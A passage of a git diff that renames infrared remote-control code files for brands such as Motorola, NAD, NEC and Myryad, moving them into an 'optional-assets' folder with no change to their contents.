a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/18,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/18,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/18,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/18,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/23,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/23,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/23,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/23,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Amplifier/135,124.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Amplifier/135,124.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NAD/Amplifier/135,124.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Amplifier/135,124.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/CD Player/133,111.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/CD Player/133,111.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NAD/CD Player/133,111.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/CD Player/133,111.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/CD Player/135,124.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/CD Player/135,124.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NAD/CD Player/135,124.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/CD Player/135,124.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/CD Player/42,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/CD Player/42,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NAD/CD Player/42,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/CD Player/42,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Monitor/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Monitor/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NAD/Monitor/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Monitor/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Receiver/135,124.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Receiver/135,124.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NAD/Receiver/135,124.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Receiver/135,124.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Surround Processor/135,124.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Surround Processor/135,124.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NAD/Surround Processor/135,124.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Surround Processor/135,124.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Tuner/135,124.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Tuner/135,124.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NAD/Tuner/135,124.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Tuner/135,124.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown/135,124.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown/135,124.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NAD/Unknown/135,124.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown/135,124.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_451/135,124.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_451/135,124.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_451/135,124.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_451/135,124.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Monitor/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Monitor/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Monitor/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Monitor/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Monitor/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Monitor/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Monitor/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Monitor/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,197.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,197.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,197.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,197.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,225.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,225.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,225.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,225.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,228.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,228.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,228.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,228.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,231.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,231.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,231.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,231.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Surround Processor/26,228.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Surround Processor/26,228.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Surround Processor/26,228.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Surround Processor/26,228.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/TV/24,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/TV/24,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/TV/24,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/TV/24,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/TV/24,24.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/TV/24,24.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/TV/24,24.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/TV/24,24.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/TV/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/TV/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/TV/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/TV/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown/25,231.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown/25,231.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown/25,231.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown/25,231.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir diff --git 